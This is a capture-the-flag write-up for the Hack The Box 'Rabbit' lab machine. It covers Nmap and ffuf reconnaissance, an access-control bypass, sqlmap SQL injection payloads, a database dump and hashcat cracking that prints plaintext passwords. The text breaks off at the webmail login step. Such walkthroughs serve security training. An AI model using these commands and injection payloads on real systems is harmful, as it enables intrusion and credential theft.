Post

HTB Rabbit CTF Writeup

HTB Rabbit CTF is an "Insane" difficulty Windows machine on Hack The Box.

HTB Rabbit CTF Writeup

Challenge Summary

Picture the warren from Watership Down – that’s Rabbit. We start nose‑twitching with a broad Nmap sweep and sniff out an ancient on‑prem Exchange, dusty Joomla, and a rickety “Complain Management” CMS. A single SQL‑i in that CMS snowballs into domain creds, which in turn pry open Outlook Web Access. A cheeky macro‑laced TPS report nets us a foothold as raziel, and sloppy file‑permissions on Wamp’s PHP directory let us upload a web‑shell and pop NT AUTHORITY\SYSTEM. One tunnel of rabbit‑holes later, the box is ours.

flowchart TD
    A["Nmap Scan - Found ports 80, 443, 8080, 25, 88, 389"] --> B["Web Enumeration on Ports 80 and 8080"]
    B --> C["Discovered /owa, Joomla CMS, and Complain Portal"]
    C --> D["SQL Injection on Complain Portal"]
    D --> E["Dumped Users Table with MD5 Hashes"]
    E --> F["Cracked Passwords with Hashcat"]
    F --> G["Logged into OWA as Magnus"]
    G --> H["Read Emails Hinting at Macro Attack & Constrained Language Mode"]
    H --> I["Crafted Malicious LibreOffice Document with Macro"]
    I --> J["Sent Macro Doc to Users - Got Shell as raziel"]
    J --> K["Discovered Writable Directory: C:\\wamp64\\www\\complain"]
    K --> L["Uploaded PHP Web Shell"]
    L --> M["Executed Commands as Wamp Service (Running as SYSTEM)"]
    M --> N["Privilege Escalation Achieved - NT AUTHORITY\\SYSTEM"]
    N --> O["Box Owned"]

Service Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
# Nmap 7.93 scan initiated Thu May  1 21:14:46 2025 as: nmap -A -oA scans/nmap.initial -vv 10.10.10.71
Nmap scan report for 10.10.10.71
Host is up, received syn-ack (0.16s latency).
Scanned at 2025-05-01 21:14:47 BST for 200s
Not shown: 976 closed tcp ports (conn-refused)
PORT     STATE SERVICE       REASON  VERSION
25/tcp   open  smtp          syn-ack Microsoft Exchange smtpd
| smtp-ntlm-info: 
|   Target_Name: HTB
|   NetBIOS_Domain_Name: HTB
|   NetBIOS_Computer_Name: RABBIT
|   DNS_Domain_Name: htb.local
|   DNS_Computer_Name: Rabbit.htb.local
|   DNS_Tree_Name: htb.local
|_  Product_Version: 6.1.7601
| smtp-commands: Rabbit.htb.local Hello [10.10.14.5], SIZE, PIPELINING, DSN, ENHANCEDSTATUSCODES, X-ANONYMOUSTLS, AUTH NTLM, X-EXPS GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING, XEXCH50, XRDST, XSHADOW
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
53/tcp   open  domain        syn-ack Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
80/tcp   open  http          syn-ack Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: 403 - Forbidden: Access is denied.
88/tcp   open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-05-01 20:15:21Z)
135/tcp  open  msrpc         syn-ack Microsoft Windows RPC
389/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
443/tcp  open  ssl/https?    syn-ack
| ssl-cert: Subject: commonName=Rabbit
| Subject Alternative Name: DNS:Rabbit, DNS:Rabbit.htb.local
| Issuer: commonName=Rabbit
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2017-10-24T17:56:42
| Not valid after:  2022-10-24T17:56:42
| MD5:   8ec5baee0dd52ffa102a26b0b23e53c7
| SHA-1: 9583dc5b45ead4e4f8350c9dbf255a7685728098
| -----BEGIN CERTIFICATE-----
| MIIDBjCCAe6gAwIBAgIQfdxbKHvkMrNAXVZWGkFRcjANBgkqhkiG9w0BAQUFADAR
| MQ8wDQYDVQQDEwZSYWJiaXQwHhcNMTcxMDI0MTc1NjQyWhcNMjIxMDI0MTc1NjQy
| WjARMQ8wDQYDVQQDEwZSYWJiaXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
| AoIBAQDxcKjPOPnpanhxeW1pQd7yvJ0xZkAcIhOvrk1hNtDEM2aiR8H0xGOBUOgm
| +6xOLKpZ7rv9y+mFIyqXiCEjqxIVud67AhURw8ROQfoEH7bli85lFbFNqZrkwD+9
| ydHuvejG+AIjwM6RsMNwT2rPjYkROxfxaXoTdrLBjWgbWzXVoHJcNSZ8XfiX80RN
| ViaUQghG5R0aZLpetqPpEJ9FST7wSPP/8BuKR72Lfnp1WUJmQ/5tOky/9XUUtwZj
| 2pY6PTJT/PMTBz5DFdWZmkLGaLlmHqny5WNdcCtEsp8TZ2J1W4eB6py6097p/htS
| n8pJahOoUQ0H665gBxE2UHtx6N11AgMBAAGjWjBYMA4GA1UdDwEB/wQEAwIFoDAj
| BgNVHREEHDAaggZSYWJiaXSCEFJhYmJpdC5odGIubG9jYWwwEwYDVR0lBAwwCgYI
| KwYBBQUHAwEwDAYDVR0TAQH/BAIwADANBgkqhkiG9w0BAQUFAAOCAQEAVraNhO76
| Ov0xCmKAhI5rpKABrtyCUsVZRd+XAp39T6kgx1dEEDu8kzgRtH9W27n3RpFYfm0t
| WnexaKApkaP43fasbkFnJpyjCrxvs8/AQqjAIhqOaepU0rvbStsNUhTfEDT2E59q
| 3hWNMJB5HuhujfWqs4MM69wx/ZGp9GRfxJJ4iqOK6FFkvYR0MzRy7KbWznL7VVUp
| MWo1OzyFa6RNGN3ccnNrVtyEWPoz2/sIXutek3d7r4ETIDobwKdRxGm5cbyP89Eh
| eGHj3zpv4U9U3k1dmra7eGckMhHA1Fiw1fvGlCcaFlv7JnYBnYtxARAaDvDLgo0i
| zHsYoKFJPxHydw==
|_-----END CERTIFICATE-----
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC4_128_WITH_MD5
|_    SSL2_DES_192_EDE3_CBC_WITH_MD5
|_ssl-date: 2025-05-01T20:17:32+00:00; 0s from scanner time.
445/tcp  open  microsoft-ds? syn-ack
464/tcp  open  kpasswd5?     syn-ack
587/tcp  open  smtp          syn-ack Microsoft Exchange smtpd
| smtp-commands: Rabbit.htb.local Hello [10.10.14.5], SIZE 10485760, PIPELINING, DSN, ENHANCEDSTATUSCODES, AUTH GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
| smtp-ntlm-info: 
|   Target_Name: HTB
|   NetBIOS_Domain_Name: HTB
|   NetBIOS_Computer_Name: RABBIT
|   DNS_Domain_Name: htb.local
|   DNS_Computer_Name: Rabbit.htb.local
|   DNS_Tree_Name: htb.local
|_  Product_Version: 6.1.7601
593/tcp  open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped    syn-ack
808/tcp  open  ccproxy-http? syn-ack
3268/tcp open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped    syn-ack
3306/tcp open  mysql         syn-ack MySQL 5.7.19
| mysql-info: 
|   Protocol: 10
|   Version: 5.7.19
|   Thread ID: 10
|   Capabilities flags: 63487
|   Some Capabilities: ConnectWithDatabase, Support41Auth, Speaks41ProtocolOld, LongColumnFlag, FoundRows, LongPassword, DontAllowDatabaseTableColumn, IgnoreSigpipes, SupportsTransactions, InteractiveClient, Speaks41ProtocolNew, ODBCClient, SupportsLoadDataLocal, SupportsCompression, IgnoreSpaceBeforeParenthesis, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: \x04H-.)\x15{l:Y|\x1F\x06VVH\x15&i.
|_  Auth Plugin Name: mysql_native_password
6001/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
6002/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
6003/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
6004/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
6005/tcp open  msrpc         syn-ack Microsoft Windows RPC
6006/tcp open  msrpc         syn-ack Microsoft Windows RPC
6007/tcp open  msrpc         syn-ack Microsoft Windows RPC
8080/tcp open  http          syn-ack Apache httpd 2.4.27 ((Win64) PHP/5.6.31)
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.27 (Win64) PHP/5.6.31
|_http-title: Example
|_http-favicon: Unknown favicon MD5: 79E32EEA338FA735AD22D36104C4337A
Service Info: Hosts: Rabbit.htb.local, RABBIT; OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2008:r2:sp1

Host script results:
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 44939/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 54161/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 9273/udp): CLEAN (Timeout)
|   Check 4 (port 23183/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_smb2-time: Protocol negotiation failed (SMB2)
|_smb2-security-mode: Couldn't establish a SMBv2 connection.

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May  1 21:18:07 2025 -- 1 IP address (1 host up) scanned in 201.09 seconds

Web Server Enumeration

Summary

Directory busting on port 80 teased an /owa path but IIS slapped us with 403s and a crusty self‑signed cert. Sliding over to port 8080 we hit pay‑dirt: an out‑of‑date Joomla install and a vulnerable “Complain Management” portal. Those discoveries set up the SQL‑i that cracks the whole hunt wide open.

Details

I began bruteforcing for directories on all web servers (port 80 and 8080), and port 80 returned me something interesting:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ffuf -u http://10.10.10.71:80/FUZZ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-small-words-lowercase.txt -fc 403 -t 10 | tee scans/web-80-wfuzz.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.71:80/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-small-words-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 10
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response status: 403
________________________________________________

owa                     [Status: 301, Size: 0, Words: 1, Lines: 1]
[WARN] Caught keyboard interrupt (Ctrl-C)

When I tried accessing it, I got 403 access denied:

image.png Fig 1: 403 Forbidden error when accessing the HTTP /owa endpoint

However, this is the HTTP (not S) server. The HTTPS server works, but it seems like they have a SSL certificate with very old ciphers:

image.png Fig 2: Legacy TLS handshake failure on the HTTPS /owa site

Curl throws the same tantrum, choking on the legacy TLS config:

1
2
$ curl https://10.10.10.71/owa/ -k
curl: (35) OpenSSL/3.0.15: error:0A00014D:SSL routines::legacy sigalg disallowed or unsupported

I can access it if I disable the minimum encryption requirements tho:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ curl --cipher 'DEFAULT:@SECLEVEL=0' -k -vvv https://10.10.10.71/owa/
*   Trying 10.10.10.71:443...
* Connected to 10.10.10.71 (10.10.10.71) port 443 (#0)
* ALPN: offers h2,http/1.1
* Cipher selection: DEFAULT:@SECLEVEL=0
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.0 (IN), TLS handshake, Certificate (11):
* TLSv1.0 (IN), TLS handshake, Server key exchange (12):
* TLSv1.0 (IN), TLS handshake, Server finished (14):
* TLSv1.0 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.0 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.0 (OUT), TLS handshake, Finished (20):
* TLSv1.0 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1 / ECDHE-RSA-AES256-SHA
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=Rabbit
*  start date: Oct 24 17:56:42 2017 GMT
*  expire date: Oct 24 17:56:42 2022 GMT
*  issuer: CN=Rabbit
*  SSL certificate verify result: self-signed certificate (18), continuing anyway.
* using HTTP/1.x
> GET /owa/ HTTP/1.1
> Host: 10.10.10.71
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 302 Moved Temporarily
< Content-Length: 0
< Location: https://10.10.10.71/owa/auth/logon.aspx?url=https://10.10.10.71/owa/&reason=0
< Set-Cookie: sessionid=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
< Set-Cookie: cadata=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
< Date: Mon, 28 Apr 2025 19:09:12 GMT
< 
* Connection #0 to host 10.10.10.71 left intact

I can also access the site in my firefox browser, but I need to proxy the traffic through BurpSuite first. It handles these types of bad SSL certificates, allowing me to access the HTTPs site:

image.png Fig 3: Burp‑proxied Firefox showing the OWA login page with a self‑signed cert

Nothing much to do here right now, as I have not a single pair of credentials. So, I proceeded to enumerate the web server on port 8080:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ ffuf -u http://10.10.10.71:8080/FUZZ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-small-words-lowercase.txt -t 10 | tee scans/web-8080-wfuzz.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.71:8080/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-small-words-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 10
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

index                   [Status: 200, Size: 10065, Words: 1239, Lines: 107]
.                       [Status: 200, Size: 10065, Words: 1239, Lines: 107]
favicon                 [Status: 200, Size: 199130, Words: 323, Lines: 345]
joomla                  [Status: 301, Size: 328, Words: 21, Lines: 10]

<SNIP>

complain                [Status: 301, Size: 330, Words: 21, Lines: 10]

<SNIP>

:: Progress: [38267/38267]&nbsp;:: Job [1/1] :: 100 req/sec :: Duration: [0:06:21] :: Errors: 0 ::

There is indeed a Joomla instance on 10.10.10.71:8080/joomla:

image.png Fig 4: Joomla CMS default homepage at :8080/joomla

And we also see Complain Management System on port 8080/complain:

image.png Fig 5: Complain Management System landing page at :8080/complain

First thing I did when I saw this, was to look for publicly available exploits for this software, as its interface looks old and cranky. I found some promising trails:

image.png Fig 6: Exploit‑DB search results listing a SQL injection exploit for the Complain portal

The first one, not so much, but the second one, about the SQL injection, seems promising (snippet from the exploit):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
## About The Product : ##
Complain Management is a Web based project used to manage Customer's complain Online. User can login, and Create complain, view complain details and track the status of its complain.

## Vulnerability : ## 
The functions.php file line 88 has hardcoded admin credentials.
		elseif($uType == 'admin'){
			//$_SESSION['user_id'] = $row['sid'];
			if($userName == 'admin' && $password == 'admin123'){
				$_SESSION['user_id'] = 0;
				$_SESSION['user_name'] = 'Administrator';
				$_SESSION['user_type'] = 'admin';
				header('Location: '.WEB_ROOT.'index.php');
				exit;

Using the hardcoded admin credentials we then have access to the process.php file that is vulnerable to SQL injection.

-HTTP Method : GET

- Sqlmap command: sqlmap -u "http://192.168.19.135/cms/process.php?action=deleteCust&cId=123" --cookie="PHPSESSID=q446r5fqav1qlljb7cohd29r85"

I tried logging in using the credentials described in the exploit (admin:admin123) but it didn’t work, so I proceeded to creating an account, and maybe I can access the administrative endpoint they’re talking about in the exploit.

I can head to http://10.10.10.71:8080/complain/register.php and create an account:

image.png Fig 7: Complain portal user registration form

And log in using the newly created account:

image.png Fig 8: Login page after creating a new “customer” account

The dashboard has nothing much to it, I can’t create complains because it errors out. I logged out, and tried changing the ‘User Type’ field to ‘Administrator’:

image.png Fig 9: Error message when trying to register as “admin” via the form

However, it errors out. When registering a new account, there is a “user type” field, but it only contains one option, that being “Customer”. However, what if we change this value in BurpSuite before forwarding the request? Can we create an account with administrative privileges for ourselves?

That’s exactly what I tried, intercepting the request in burpsuite, and changing the “utype” value from “customer” to “admin”:

image.png Fig 10: Burp Suite intercept modifying the utype parameter to admin

But, when I try to log in as user type “administrator”, it errors out. I tried changing the value from the default “customer” to “employee” as well, but it didn’t work.

Feeling like I was running out of options, I logged in again with my initial account, with no modifications to the role, and poked around the website, to find that I can simply click on the “View Complain Details” tab and modify the url at the top to include the administrative view:

image.png Fig 11: URL tampering changing mod=customer to mod=admin on view**:php

The URL they give me initially is:

1
http://10.10.10.71:8080/complain/view.php?mod=customer&view=compDetails

However, if I change the value of the mod attribute from “customer” to “admin”, I can view this page as if I’m the admin user:

1
http://10.10.10.71:8080/complain/view.php?mod=admin&view=compDetails

And it simply works, LOL! That’s a banger of an access control vulnerability right there

image.png Fig 12: Admin‑view complaint details rendered without authentication

I can also review specific complains as if I’m the admin user:

image.png Fig 13: Detailed complaint view for a specific complaint ID as admin

When I clicked to assign the complain, the request looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /complain/process.php?action=assignComplain HTTP/1.1
Host: 10.10.10.71:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Origin: http://10.10.10.71:8080
Connection: keep-alive
Referer: http://10.10.10.71:8080/complain/view.php?mod=admin&view=viewByCompID&compId=10
Cookie: 8e3390591191591f0578d77b26fb406e=jlf4iehq3v5106loft5af2q0t2; PHPSESSID=51e911iqljvdt5hvhppeu0qc74
Upgrade-Insecure-Requests: 1
Priority: u=0, i

compId=10&compDesc=&engId=4&btnLogin=+Assing+Complain+

I right-clicked, and selected “Save item” in Burpsuite, and saved it as “assign-complain.req”. Then, I fired up sqlmap using the request file, pointing to the compId POST attribute, to find the sql injection vulnerability:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ sqlmap.py -r assign-complain.req -p compId --dbms mysql -t 15
        ___
       __H__                                                                                            
 ___ ___[.]_____ ___ ___  {1.9.4.2#dev}                                                                 
|_ -| . [(]     | .'| . |                                                                               
|___|_  [)]_|_|_|__,|  _|                                                                               
      |_|V...       |_|   https://sqlmap.org                                                            

[*] starting @ 13:29:01 /2025-04-28/

<SNIP>

POST parameter 'compId' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 260 HTTP(s) requests:
---
Parameter: compId (POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: compId=(SELECT (CASE WHEN (6113=6113) THEN 10 ELSE (SELECT 4749 UNION SELECT 2010) END))&compDesc=&engId=4&btnLogin= Assing Complain 

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: compId=10 AND GTID_SUBSET(CONCAT(0x717a717071,(SELECT (ELT(7941=7941,1))),0x7171786271),7941)&compDesc=&engId=4&btnLogin= Assing Complain 

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: compId=10 AND (SELECT 6352 FROM (SELECT(SLEEP(5)))Rdrf)&compDesc=&engId=4&btnLogin= Assing Complain
---
[13:30:08] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.27, PHP 5.6.31
back-end DBMS: MySQL >= 5.6
[13:30:09] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/10.10.10.71'

[*] ending @ 13:30:09 /2025-04-28/

SQL Injection Vulnerability

After discovering the sql injection flaw, I proceeded to enumerate the instance by listing available databases:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ sqlmap.py -r assign-complain.req -p compId --dbms mysql --dbs -t 15

<SNIP>

available databases [7]:
[*] complain
[*] information_schema
[*] joomla
[*] mysql
[*] performance_schema
[*] secret
[*] sys

[13:31:17] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/10.10.10.71'                                                                                                   

[*] ending @ 13:31:17 /2025-04-28/

Interestingly enough, there is a database named “secret”. Let’s investigate it by obtaining a list of tables in the database:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ sqlmap.py -r assign-complain.req -p compId --dbms mysql -D secret --tables -t 15

<SNIP>

[13:33:05] [INFO] fetching tables for database: 'secret'
[13:33:06] [INFO] retrieved: 'users'
Database: secret
[1 table]
+-------+
| users |
+-------+

[13:33:06] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/10.10.10.71'                                                                                                   

[*] ending @ 13:33:06 /2025-04-28/

Hmmm, users table. Let’s dump it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
$ sqlmap.py -r assign-complain.req -p compId --dbms mysql -D secret -T users --dump -t 15

[13:34:20] [INFO] fetching columns for table 'users' in database 'secret'
[13:34:20] [INFO] retrieved: 'Username'
[13:34:20] [INFO] retrieved: 'text'
[13:34:21] [INFO] retrieved: 'Password'
[13:34:21] [INFO] retrieved: 'text'
[13:34:21] [INFO] fetching entries for table 'users' in database 'secret'
[13:34:21] [INFO] retrieved: '13fa8abd10eed98d89fd6fc678afaf94'
[13:34:21] [INFO] retrieved: 'Zephon'
[13:34:21] [INFO] retrieved: '33903fbcc0b1046a09edfaa0a65e8f8c'
[13:34:22] [INFO] retrieved: 'Kain'
[13:34:22] [INFO] retrieved: '33da7a40473c1637f1a2e142f4925194'
[13:34:22] [INFO] retrieved: 'Dumah'
[13:34:22] [INFO] retrieved: '370fc3559c9f0bff80543f2e1151c537'
[13:34:22] [INFO] retrieved: 'Magnus'
[13:34:22] [INFO] retrieved: '719da165a626b4cf23b626896c213b84'
[13:34:22] [INFO] retrieved: 'Raziel'
[13:34:23] [INFO] retrieved: 'a6f30815a43f38ec6de95b9a9d74da37'
[13:34:23] [INFO] retrieved: 'Moebius'
[13:34:23] [INFO] retrieved: 'b9c2538d92362e0e18e52d0ee9ca0c6f'
[13:34:23] [INFO] retrieved: 'Ariel'
[13:34:23] [INFO] retrieved: 'd322dc36451587ea2994c84c9d9717a1'
[13:34:23] [INFO] retrieved: 'Turel'
[13:34:23] [INFO] retrieved: 'd459f76a5eeeed0eca8ab4476c144ac4'
[13:34:23] [INFO] retrieved: 'Dimitri'
[13:34:24] [INFO] retrieved: 'dea56e47f1c62c30b83b70eb281a6c39'
[13:34:24] [INFO] retrieved: 'Malek'
[13:34:24] [INFO] recognized possible password hashes in column 'Password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[13:35:25] [INFO] writing hashes to a temporary file '/tmp/sqlmapv0tcweux8191/sqlmaphashes-8j1hsq_9.txt'

do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: secret
Table: users
[10 entries]
+----------------------------------+----------+
| Password                         | Username |
+----------------------------------+----------+
| 13fa8abd10eed98d89fd6fc678afaf94 | Zephon   |
| 33903fbcc0b1046a09edfaa0a65e8f8c | Kain     |
| 33da7a40473c1637f1a2e142f4925194 | Dumah    |
| 370fc3559c9f0bff80543f2e1151c537 | Magnus   |
| 719da165a626b4cf23b626896c213b84 | Raziel   |
| a6f30815a43f38ec6de95b9a9d74da37 | Moebius  |
| b9c2538d92362e0e18e52d0ee9ca0c6f | Ariel    |
| d322dc36451587ea2994c84c9d9717a1 | Turel    |
| d459f76a5eeeed0eca8ab4476c144ac4 | Dimitri  |
| dea56e47f1c62c30b83b70eb281a6c39 | Malek    |
+----------------------------------+----------+

[13:34:32] [INFO] table 'secret.users' dumped to CSV file '/home/user/.local/share/sqlmap/output/10.10.10.71/dump/secret/users.csv'                                                                             
[13:34:32] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/10.10.10.71'                                                                                                   

[*] ending @ 13:34:32 /2025-04-28/

Sweet. Username:password combinations it seems like. From the above output, you can see that sqlmap asked me if I wanted to save the hashes to a temporary file, which I replied “yes”. In this case, they saved the hashes to a temporary file at:

1
/tmp/sqlmapv0tcweux8191/sqlmaphashes-8j1hsq_9.txt

If I display this file’s contents:

1
2
3
4
5
6
7
8
9
10
11
$ cat /tmp/sqlmapv0tcweux8191/sqlmaphashes-8j1hsq_9.txt
Zephon:13fa8abd10eed98d89fd6fc678afaf94
Kain:33903fbcc0b1046a09edfaa0a65e8f8c
Dumah:33da7a40473c1637f1a2e142f4925194
Magnus:370fc3559c9f0bff80543f2e1151c537
Raziel:719da165a626b4cf23b626896c213b84
Moebius:a6f30815a43f38ec6de95b9a9d74da37
Ariel:b9c2538d92362e0e18e52d0ee9ca0c6f
Turel:d322dc36451587ea2994c84c9d9717a1
Dimitri:d459f76a5eeeed0eca8ab4476c144ac4
Malek:dea56e47f1c62c30b83b70eb281a6c39

Password Hash Cracking

Summary

Dumping the secret.users table gave us a bag of unsalted MD5s – yikes. Hashcat plus rockyou.txt chewed through half of them in seconds, arming us with creds like magnus:xNnWo6272k7x and ariel:pussycatdolls. These become our golden tickets for the upcoming OWA raid.

Details

I ran hashcat against the hashes file obtained previously, and was able to crack a few passwords (note the little --useranme flag when running hashcat, that’s because the username is also present in the hases file in the format username:md5_hash):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ hashcat hashes.txt /usr/share/wordlists/SecLists-master/Passwords/Leaked-Databases/rockyou.txt --username -m 0
hashcat (v6.2.6) starting

<SNIP>

8ec6de95b9a9d74da37:santiago                 
33da7a40473c1637f1a2e142f4925194:popcorn                  
b9c2538d92362e0e18e52d0ee9ca0c6f:pussycatdolls            
370fc3559c9f0bff80543f2e1151c537:xNnWo6272k7x             
Approaching final keyspace - workload adjusted.           

                                                        
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: hashes.txt
Time.Started.....: Mon Apr 28 13:38:59 2025 (7 secs)
Time.Estimated...: Mon Apr 28 13:39:06 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/SecLists-master/Passwords/Leaked-Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  2127.5 kH/s (0.11ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 5/10 (50.00%) Digests (total), 5/10 (50.00%) Digests (new)
Progress.........: 14344384/14344384 (100.00%)
Rejected.........: 0/14344384 (0.00%)
Restore.Point....: 14344384/14344384 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[2121464c5965727332303037] -> $HEX[042a0337c2a156616d6f732103]

Started: Mon Apr 28 13:38:38 2025
Stopped: Mon Apr 28 13:39:08 2025

Then, I can show the cracked hashes and the respective username for each of them:

1
2
3
4
5
6
$ hashcat hashes.txt --username --show -m 0
Dumah:33da7a40473c1637f1a2e142f4925194:popcorn
Magnus:370fc3559c9f0bff80543f2e1151c537:xNnWo6272k7x
Moebius:a6f30815a43f38ec6de95b9a9d74da37:santiago
Ariel:b9c2538d92362e0e18e52d0ee9ca0c6f:pussycatdolls
Malek:dea56e47f1c62c30b83b70eb281a6c39:barcelona

Accessing Webmail

Summary

Using the freshly‑minted creds, we logged into /owa over TLS 1.0 (retro vibes). The inbox chatter practically begged us to weaponise LibreOffice macros, hinting at Constrained Language Mode and the infamous TPS reports. Those emails provided both target list and social‑engineering pretext – chef’s kiss.

Details

With some valid credentials, I can try to access the previously discovered outlook webmail portal at https://10.10.10.71/owa.

I did run msfconsole and searched for “owa”. Among the results, I selected a login detector, and could use the module to discover valid credentials to the webmail:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
